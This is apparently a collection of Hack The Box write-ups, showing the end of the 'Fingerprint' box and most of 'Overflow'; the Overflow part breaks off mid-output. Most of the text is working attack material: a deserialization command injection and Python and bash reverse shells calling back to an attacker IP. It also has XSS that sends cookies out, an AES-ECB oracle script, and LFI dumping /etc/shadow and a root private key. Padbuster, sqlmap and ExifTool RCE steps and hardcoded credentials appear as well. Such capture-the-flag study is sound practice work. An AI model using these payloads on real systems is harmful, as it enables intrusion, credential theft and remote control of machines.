 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2142.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2143.jpg)

#### User own

Finally, we’re getting somewhere. The actual log feature isn’t useful as we already have access and know it’s vulnerable to XSS. Instead, we can continue with the serialization idea and attempt to get a reverse shell. We’ll save our admin cookie for now just in case:

``` bash
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFCV0ZrYldsdSJ9.lPDqZy7OX9cBclkxmK9gAx4SWiad_YFrjezvJO1apCA
```

We can repurpose the script (now knowing it works) to overwrite the username and perform RCE:

``` bash
import com.admin.security.src.model.User;

import java.io.*;
import java.util.Base64;

public class edit {
    public static void main(String[] args) throws IOException {

        User user = new User();

        //user.username = "admin";
        
        //user.id = 0;
        //user.fingerprint = "/data/sessions/admin.ser";
        
        /*
            FileOutputStream fileOut = new FileOutputStream("/tmp/userAdmin2.ser");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(user);
         */

   
        user.username = "../sessions/a$(curl http://10.10.14.25/)/../../../admin";
        user.id = 0;
        user.fingerprint = "/data/sessions/admin.ser";
        user.password = "test";

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(user);
        objectOutputStream.close();
        String cookie = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());

        System.out.println(cookie);

    }
}
```

We can generate a reverse shell and update the script to use this:

``` bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.25",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

We should then get a reverse shell. We see there’s a SUID binary available to us. Our goal here is to retrieve a id_rsa key for SSH using it, below is Yuma’s script for it (https://gist.github.com/Yuma-Tsushima07):

``` bash
import os, sys 
sys.setrecursionlimit(10000)

letters = [' ','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
       'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '\n', "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", '=',  '/', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '\+']


startpoint = "-----BEGIN OPENSSH PRIVATE KEY-----"
valid = " "

def getKey(str_bt):
    for i in letters:
        p = str_bt + i
        out = os.popen(f'./cmatch example "{p}"').read()
        a = out.replace("Found", "")
        b = a.replace("Matches", "")
        count = b.replace(":", "")

        if(int(count) == 1):
            str_bt = str_bt+ i
            print(str_bt)
            getKey(str_bt)

getKey(startpoint)
```

We do get a use-able key (with the name John), however we still need a password. Doing some source code analysis leads us to the existing java classes. One of which has a hibernate password commented out:

``` bash
//   69: ldc 'hibernate.connection.username'
//   71: bipush #-13
//   73: pop
//   74: ldc 'htb'
//   76: <illegal opcode> llIIIIIlIIIlIlIllllI : (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
//   81: bipush #-14
//   83: pop
//   84: pop
//   85: aload_1
//   86: ldc 'hibernate.connection.password'
//   88: bipush #42
//   90: pop
//   91: ldc 'q9Patz64fhtiVSO6Df2K'
//   93: <illegal opcode> IllllllllllllllllIll : (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
//   98: pop
//   99: nop
//   100: aload_
```

Using this, we can get a shell.

#### Root own

We have a few backups, the one one was have access to is flask-app-secure.bak, we can copy this over to our local machine and enumerate it:

``` bash
scp -i id_rsa john@fingerprint.htb:/var/backups/flask-app-secure.bak ./
```

We can look at the improvement notes and see that this is likely going to be crypto:

``` bash
[x] fixed access control flaw
[x] introduced authorization
[x] safe authentication with custom crypto
```

There is a custom encryption in place that we need to try crack. There is a service running on port 8080 which is likely this flask app, we can forward this to ourselves too:

``` bash
ssh -L 8080:localhost:8080 -i id_rsa john@fingerprint.htb
```

Look familiar? It’s the same app before just using a different authentication method. We can re-use the XSS from before and see if we can get the box to connect back to us.

``` bash
<script>document.location%3d"http%3a//10.10.14.25%3a81/"%2bdocument.cookie</script>
```

We get the following:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# python2 -m SimpleHTTPServer 81                                                                                              1 ⨯
Serving HTTP on 0.0.0.0 port 81 ...
10.10.11.127 - - [03/Feb/2022 11:01:05] code 404, message File not found
10.10.11.127 - - [03/Feb/2022 11:01:05] "GET /user_id=49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb HTTP/1.1" 404 -
```

This does appear to be static so we don’t have much to worry about. It appears to be using AES-ECB:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2144.jpg)

Here are the functions for this:

``` bash
SECRET = "password"
KEY = "mykey"
cryptor = AES.new(KEY, AES.MODE_ECB)

def decrypt(data):
    result = cryptor.decrypt(data.decode("hex"))
    pad_len = ord(result[-1])
    return result[:-pad_len]

def encrypt(data):
    # do some padding
    block_size = 16
    pad_size = block_size - len(data) % block_size
    padding = chr(pad_size) * pad_sizestart_block_gap = 64
known = ",7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,true"
cookies = {"user_id":"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}
session = requests.session()
    data += padding
    return cryptor.encrypt(data).encode('hex')
```

We can forward localhost:8088 to ourselves from the target box and see if we can attack this:

``` bash
ssh -L 8088:localhost:8088 -i id_rsa john@fingerprint.htb
```

``` bash
import requests
from string import printable

def getBlocks(userid):
    new=[]
    for i in range(0, len(userid),blockSize):
        new.append(userid[i:i+blockSize])
    return new

"""
def determine_blockSize():
    newUIDLen = 0
    username_len = 1
    while UIDLen >= newUIDLen:
        request = session.post("http://localhost:8088/profile", data={"new_name":"\x01"*username_len}, cookies=cookies, allow_redirects=False)
        userid = request.cookies['user_id']
        newUIDLen = len(userid)
        print(username_len)
        print("username = "+"a"*username_len+" yield length = "+str(newUIDLen))
        username_len+=1
        print("\n".join(getBlocks(userid)))
        print("-"*32)
"""

def main():
    known = ',7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr4'
    while True:
        request = session.post("http://localhost:8088/profile", data={"new_name":"\x01"*(start_block_gap-len(known))}, cookies=cookies, allow_redirects=False)
        userid = request.cookies['user_id']
        bblock = getBlocks(userid)
        print(bblock[3])
        for character in printable:
            request = session.post("http://localhost:8088/profile", data={"new_name":"\x01"*(start_block_gap-len(known))+known+character}, cookies=cookies, allow_redirects=False)
            userid = request.cookies['user_id']
            block = getBlocks(userid)
            if(block[3] == bblock[3]):
                print(known+character)
                known+=character

if __name__ == "__main__":
    session = requests.Session()
    cookies = {"user_id":"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}
    UIDLen = 128
    blockSize = 32
    start_block_gap = 63
    main()
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# python3 att.py                                                                                                              1 ⨯
f45c2407de3a6ead5cc9b932f55fdf92
,7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr45
2cbf5b00a2b8f3c89a9c62ce1dbe19d0
,7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453
```

yes, we did...

After using this, we can try retrieve a working cookie to give ourselves access to the admin portal:

``` bash
import requests

def main():
    r = session.post("http://localhost:8088/profile", data = {"new_name":"\x01"*(start_block_gap-len(known))+known}, cookies=cookies, allow_redirects=False)
    UID = r.cookies['user_id']
    print(UID)

if __name__ == "__main__":
    start_block_gap = 64
    known = ",7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,true"
    cookies = {"user_id":"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}
    session = requests.session()
    main()
```

Running the script, I get the following:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# python3 cook.py 
1864bc52a87c7c688573a0fff1aea89cfb4f34faed3576cfcf70f713ffea485b01b1b06d23e2c6c8eacc793c07597edc4beba4fa5b1c380302525ee6e935282ff30abe9eba1c358b7a675b5e1e9ad7548c9b3fefd732c4a597b9edd3bebc9e1cf45c2407de3a6ead5cc9b932f55fdf92c5dd1d4c7488606dc98abd2d888f12ef
```

Finally, we reuse our LFI to geet root’s flag:

``` bash
GET /admin/view/../../etc/shadow HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CATS=95dvh0oeepi123t462f8l9ogjn; JSESSIONID=04cd9eef705ab7196f449e33a540; user_id=1864bc52a87c7c688573a0fff1aea89cfb4f34faed3576cfcf70f713ffea485b01b1b06d23e2c6c8eacc793c07597edc4beba4fa5b1c380302525ee6e935282ff30abe9eba1c358b7a675b5e1e9ad7548c9b3fefd732c4a597b9edd3bebc9e1cf45c2407de3a6ead5cc9b932f55fdf92c5dd1d4c7488606dc98abd2d888f12ef
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
```

``` bash
root:$6$majc7QP4$VMJpElFyLIyyBoq4QFLBGkuY0q9BrThALCyM54jGim.gJQlOsVUBI5nmu70LNV1FV2GxiyqbpzMkFk/x9ahgc1:18928:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:*:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
syslog:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
lxd:*:18480:0:99999:7:::
uuidd:*:18480:0:99999:7:::
dnsmasq:*:18480:0:99999:7:::
landscape:*:18480:0:99999:7:::
pollinate:*:18480:0:99999:7:::
sshd:*:18896:0:99999:7:::
john:$6$lK2ZQ//M$Ix2MY.gi6rgcXRVuxRxWj4vPzKxS5IRNKkY.lQpVTdu0ukcERk1dzTm6GrSucBsd1DqvLpnxRuw.3QsWyzp3j0:18896:0:99999:7:::
mysql:!:18896:0:99999:7:::
flask:!:18896:0:99999:7:::
```

and get root's ssh key

``` bash
GET /admin/view/../../root/.ssh/id_rsa HTTP/1.1

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAvBdEECQOhzxNhtcyq8/TU6T1hbSK2WYbpF3OBMlCKUeh5Z62
i9RmFG1BVU5i7IMAVelL92WrGgYXfp2A9oIeLugEIjGcqAkK0aqWM6PnaSvGsnzj
wmncPtNqudxWMPMozOc5baf9RIWDGG84KZrhk+FMt75amL6uFgz/ztXsHAotrBF8
QLdKU92/jddEd4c5T5N4kpLm+cR2vYH4JW12mp2/vthkM1kD0g0q6u6i7Ofl/XQi
gRn8oJmh54+SMc+HgQKhtTf0u1Dg15Ij9GvdlFn4iz/jUF93vZz4wFD58q9N2R9u
lZWTCm+BOqhca0jNaQgX5kQtkZ2uoU/XqzunIQIDAQABAoIBAQCuMn3+1OX/qYHD
mBp9tQRrOyOIqSTPIxoGqDndhOeZg5YVK2C1MAk6cdVIREip8smkx2Rrw+UrPOkV
gpmls+xwVME/SeNkXLuAYxSozuvLI5fqRnBJ5fDs3rDBYacRvqHS43L0c9jEVUKM
prTFE4RHiSmcIteVD0P7eB6SWN1LOSrKxMipTUhRG3m1b6QyQEO8S2zPxqklQxHh
pq5zcZaLINr5TVwB7jiDidfbIN3obIBzTU1WrCn5Re8Tyu1Xlmljva1U3kfjhlSL
iuMlYPi4omt6ZODy9qnImJvCh35ZhIs1tyR1XFwtyeOermwwDFbOEX14bNk1c7Nb
QgebG7gBAoGBAOlQmS3HIdEnuaJeQCqJQ2MQP50O0GEvvbB1IRLjPRKpW6amC2rv
Udrmk/6SQUwcxEDNjLkcabn1BAw6ZKBsUjGydVnW+awRQqWmdL9CLcMhFI922V+G
mb8DEq1dO4KsY909E23yq1R7z1De5r1wMzL85+2QeoadHEgAXsjKjbyxAoGBAM5h
AWKxxdo4k2qv8FeAcy9xGbcpP9YUEnySCOVrFYYAenR+oeWHmojF8T8WAAChdsgc
YHmbPi0etlAX4pAt3ww05SPjdUNb81avAiKphRITVF/hr1DWqdSrjHgmO8JhPgY+
132qO8rHjnfsMmh+eSWQXPy1O9yYVed1sgzDlG1xAoGAWBNY//MATRiV9zllN6mB
itADc6K3/zgqf4Z36c1mrLjKJGriPIgDeoM4sw07ISRq4Zu219pl/xEDaipQ+k5p
6ODZdAS3U8FgS3A++kRdSiAextmyzWDegUEDt/ZOFNJHEKmRwBuvmcDzTjAXIsRM
T58xXnkAB/kfR/77yQjN4MECgYEAw5fsWD1j5o34KQTWJBf5Et1+IblWZu5fFvDQ
vZ3fqECLzhy2E3ORYk83dTLEjdR5Xu6GALrBEsIox3/bmgnfexImmPzaBhz/Ywg6
Xd+L3rWzIawjG9pW2tg7KSQTPwYqYoDseoz8XhMDU2Tn4WD8MD3B4z9gnJFD2ToS
pUY3RgECgYEAyWrVpT9rI4j2pDC/ht54dtCltxw+jcZp5F57IsAy7ldlsefuwoNr
GWUYBeBWuK8vx14XYNvMt45eg/GaU02VSoczuNPIvOoKbrH3+BXK290zxvwznqTS
oggFxgjTq+oAawHPmDGDrWgqoa/Aecd6C0t94Tv7avfE9ZBJ4QWMsms=
-----END RSA PRIVATE KEY-----
```

and we can get both user and root flag:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# chmod 600 id_rsa                                      
                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# ssh -i id_rsa root@10.10.11.127 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-163-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Feb  3 16:28:29 UTC 2022

  System load:  0.05              Processes:           165
  Usage of /:   54.5% of 6.82GB   Users logged in:     0
  Memory usage: 22%               IP address for eth0: 10.10.11.127
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Feb  3 16:11:52 2022 from 10.10.14.25
root@fingerprint:~# cat root.txt 
0199cf2de74d5952dc56bb24543a5b32
root@fingerprint:~# cat /home/john/user.txt 
28b1f5b9f3b4d8ed1edc0914ee9c78e1
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2145.jpg)


#### Summary of knowledge

 - LFI read users.db file
 - xss steal admin's auth_secondary param
 - decode jwt cookie and then forge
 - Hibernate Query Language Injection bypass login
 - RCE via forged jwt cookie to get a reverse shell
 - py script extract id_rsa key through SUID binary
 - java classes has a hibernate password commented out
 - forge admin's user_id through custom AES-ECB script
 - LFI reuse to get root's flag and root's ssh key

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end fingerprint -->

</details>

<a id="case-overflow"></a>

## Padding Oracle 与任务身份

认证 cookie 的填充侧信道连接管理面，ExifTool 和数据库凭据进一步到本地用户。cron 和 file_encrypt 的逆向材料保留在后半段。

<p class="kb-provenance">来源 overflow · 原记录 2022-03-11 · 26 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-overflow">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start overflow -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	23 Oct 2021
IP:	10.10.11.119

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2171.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/overflow]
└─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.11.119
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
25/tcp open  smtp    Postfix smtpd
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: Host:  overflow; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

If you do a nmap scan against the box ip, you will find three ports open 22, 25 and 80.

#### 80 - http

Go to http://10.10.11.119/ and you will see a website.

Go to http://10.10.11.119/register.php and register for an account. And then login with those created credentials.

In the homepage, do inspect and go to Storage. There, you will find a cookie which is vulnerable to oracle padding attack.

``` bash
Cookie: auth=EchgxUSqB7AMH7COmJfenPjpe0%2BDlJRZ
```

Clone this repo [PadBuster](https://github.com/AonCyberLabs/PadBuster) to your machine.

or just run:

``` bash
apt-get install padbuster
```

To exploit it, run it like below:

``` bash
padbuster http://10.10.11.119 EchgxUSqB7AMH7COmJfenPjpe0%2BDlJRZ 8 -cookie auth=EchgxUSqB7AMH7COmJfenPjpe0%2BDlJRZ -plaintext user=admin
```

You will get the admin cookie: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA Change the cookie with this cookie and you will get admin access.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2172.jpg)

There is sqli vulnerability if you go to

``` bash
http://10.10.11.119/home/logs.php?name=admin
```

Open burpsuite and capture the request, send it to repeater and copy it to a file to perform sqlmap.

``` bash
GET /home/logs.php?name=admin HTTP/1.1
Host: 10.10.11.119
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: auth=BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA; CMSSESSIDf25decdf38ae=l8s6fp07ip0spm3fles18c1s84
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

You will find three databases:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/overflow]
└─# sqlmap -r sql.txt --dbs

[09:58:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL 5
[09:58:52] [INFO] fetching database names
available databases [4]:
[*] cmsmsdb
[*] information_schema
[*] logs
[*] Overflow
```

If you go through Overflow and cmsmsdb database, you will find there is a subdomain named devbuild-job.overflow.htb.

Go to /etc/hosts file

Now, go to http://devbuild-job.overflow.htb/ and you will see a webpage:

If you go to /home/profile, you can bypass the login.

``` bash
http://devbuild-job.overflow.htb/home/profile/
```

This Upload Resume option is using exiftool which is vulnerable to Remote Code Execution.

To fetch the working POC, clone this repo [CVE-2021-22204-exiftool](https://github.com/convisolabs/CVE-2021-22204-exiftool).

Then run the below command:

``` bash
apt install djvulibre-bin exiftool
```

Now inside that repo, you will find a python script named exploit.py. Open that file and edit the ip and port to your choice in which you will have to listen for a reverse shell.

Start your netcat listener!

Run the exploit.py file and it will create a malicious image.jpg in the current directory.

Now upload that image.jpg into the resume and you will get a reverse shell back.

``` bash
┌──(root💀kali)-[~/CVE-2021-22204-exiftool]
└─# python3 exploit.py                                
    1 image files updated
                                                                                                                                    
┌──(root💀kali)-[~/CVE-2021-22204-exiftool]
└─# ls
configfile  exploit.djvu  exploit.py  image.jpg  image.jpg_original  lab  payload  payload.bzz  README.md
```

To make it a better tty shell, do the following:

1. python3 -c "import pty; pty.spawn('/bin/bash')"
2. Ctrl + Z
3. stty raw -echo;fg
4. reset
5. screen
6. export TERM=xterm

but we can't read user flag directly

``` bash
www-data@overflow:/home$ cat tester/user.txt 
cat: tester/user.txt: Permission denied
www-data@overflow:/home$
```

SSH as developer Now, if you go to /var/www/html/config, you will find a file named db.php.

``` bash
www-data@overflow:/home$ cat /var/www/html/config/db.php 
<?php 

#define('DB_Server', 'localhost');
#define('DB_Username', 'root');
#define('DB_Password','root');
#define('DB_Name', 'Overflow');

$lnk = mysqli_connect("localhost","developer", "sh@tim@n","Overflow");
$db = mysqli_select_db($lnk,"Overflow");

if($db == false){
    dir('Cannot Connect to Database');
}

?>
```

Now you can ssh as developer with password: sh@tim@n

``` bash
┌──(root💀kali)-[~/hackthebox/machine/overflow]
└─# ssh developer@10.10.11.119                                                                                                      
The authenticity of host '10.10.11.119 (10.10.11.119)' can't be established.
ED25519 key fingerprint is SHA256:u34uNgEoUmZK0MiCLEYEHIf4Uc+i2Zb6noKZy4YUgw8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.119' (ED25519) to the list of known hosts.
developer@10.10.11.119's password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-159-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Mar 11 20:42:05 IST 2022

  System load:  0.0               Processes:           175
  Usage of /:   45.1% of 5.84GB   Users logged in:     0
  Memory usage: 11%               IP address for eth0: 10.10.11.119
  Swap usage:   0%


0 updates can be applied immediately.


-sh: 28: set: Illegal option -o history
-sh: 1: set: Illegal option -o history
$ id
uid=1001(developer) gid=1001(developer) groups=1001(developer),1002(network)
$ whoami
developer
```

#### Access as tester user

Now, go to /opt folder, you will see a file named commontask.sh which is running every minute.

``` bash
$ cat /opt/commontask.sh
#!/bin/bash

#make sure its running every minute.


bash < <(curl -s http://taskmanage.overflow.htb/task.sh)
```

To exploit it, you will have to create a task.sh file in your local machine which contains a bash tcp reverse shell.

And on the overflow box, you will have to edit the /etc/hosts. 

You are a member of the network group that’s why you can edit the /etc/hosts file.

First, do the below:

Create a task.sh file in your machine's current directory.

``` bash
bash -i >& /dev/tcp/10.10.14.23/9001 0>&1
```

Now, start a python webserver at port 80.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/overflow]
└─# python2 -m SimpleHTTPServer 80                                                                                                  
Serving HTTP on 0.0.0.0 port 80 ...
10.10.11.119 - - [11/Mar/2022 10:20:02] "GET /task.sh HTTP/1.1" 200 -
```

Setup a netcat listener on port 9001.

Now, in developer's session, do the following:

``` bash
$ echo '10.10.14.23  taskmanage.overflow.htb' > /etc/hosts
$ cat /etc/hosts
10.10.14.23  taskmanage.overflow.htb
```

On your listener, you will get a shell as the tester user.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/overflow]
└─# nc -lvp 9001                                     
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.119.
Ncat: Connection from 10.10.11.119:59148.
bash: cannot set terminal process group (4627): Inappropriate ioctl for device
bash: no job control in this shell
tester@overflow:~$ id 
id
uid=1000(tester) gid=1000(tester) groups=1000(tester)
tester@overflow:~$ whoami
whoami
tester
tester@overflow:~$ python3 -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
tester@overflow:~$ ls
ls
user.txt
tester@overflow:~$ cat user.txt 
cat user.txt
06152183bf4ab9054492be6b13a0a3ff
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2173.jpg)

#### tester -> root user

To get root in this machine, you will need an extra terminal as the tester user. Please follow the above steps for that.

On one terminal, go to /opt/file_encrypt and you will find an elf binary named file_encrypt.

Also, create a file in tester home directory like below:

``` bash
tester@overflow:/opt/file_encrypt$ file file_encrypt
file file_encrypt
file_encrypt: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ae0f5750a8f1ac38945f813b5e34ddc166daf57, not stripped
tester@overflow:~$ echo "luci" > luci
echo "luci" > luci
tester@overflow:~$ cat luci
cat luci
luci
```

Execute the binary, you will be asked to enter a pin:

Pin is -202976456

Put this pin and you will asked to enter name:

In name, enter this: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV

Then, you will be asked to enter input file:

Enter the file which you created in the tester home directory.

Enter Input File: /home/tester/luci

You will be prompted to enter the encrypted file. Now you have to be very fast on it.

On other terminal, go to tester home directory and put this command but don’t execute it:

``` bash
rm luci; ln -s /root/root.txt luci
```

Now after entering the encrypted file, go to the other terminal and execute the above command. You have to be very fast on it. Because you get at least 3 seconds.

``` bash
tester@overflow:~$ /opt/file_encrypt/file_encrypt
/opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
-202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Enter Input File: /home/tester/luci
/home/tester/luci
Enter Encrypted File: /home/tester/out 
/home/tester/out
Segmentation fault (core dumped)
```

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 9001                                     
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.119.
Ncat: Connection from 10.10.11.119:59372.
bash: cannot set terminal process group (4863): Inappropriate ioctl for device
bash: no job control in this shell
tester@overflow:~$ python3 -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
tester@overflow:~$ ls
ls
luci  user.txt
tester@overflow:~$ ls
ls
luci  user.txt
tester@overflow:~$ rm luci; ln -s /root/root.txt luci
rm luci; ln -s /root/root.txt luci
tester@overflow:~$ ls
ls
luci  out  user.txt
tester@overflow:~$ cat out
cat out
���������������������������������
tester@overflow:~$ xxd -p out
xxd -p out
fff8aaa8aaadaea8a3a3aeffaefeaca8aaa3f9f8adfafda8fdfdf8a8a2a8aaab91
```

Copy this and go to https://gchq.github.io/CyberChef/

Follow the steps and you will get the root.txt!

``` bash
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'0x9b'%7D,'Standard',false)&input=ZmZmOGFhYThhYWFkYWVhOGEzYTNhZWZmYWVmZWFjYThhYWEzZjlmOGFkZmFmZGE4ZmRmZGY4YThhMmE4YWFhYjkx
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2174.jpg)

get the root hash

``` bash
tester@overflow:~$ xxd -p out
xxd -p out
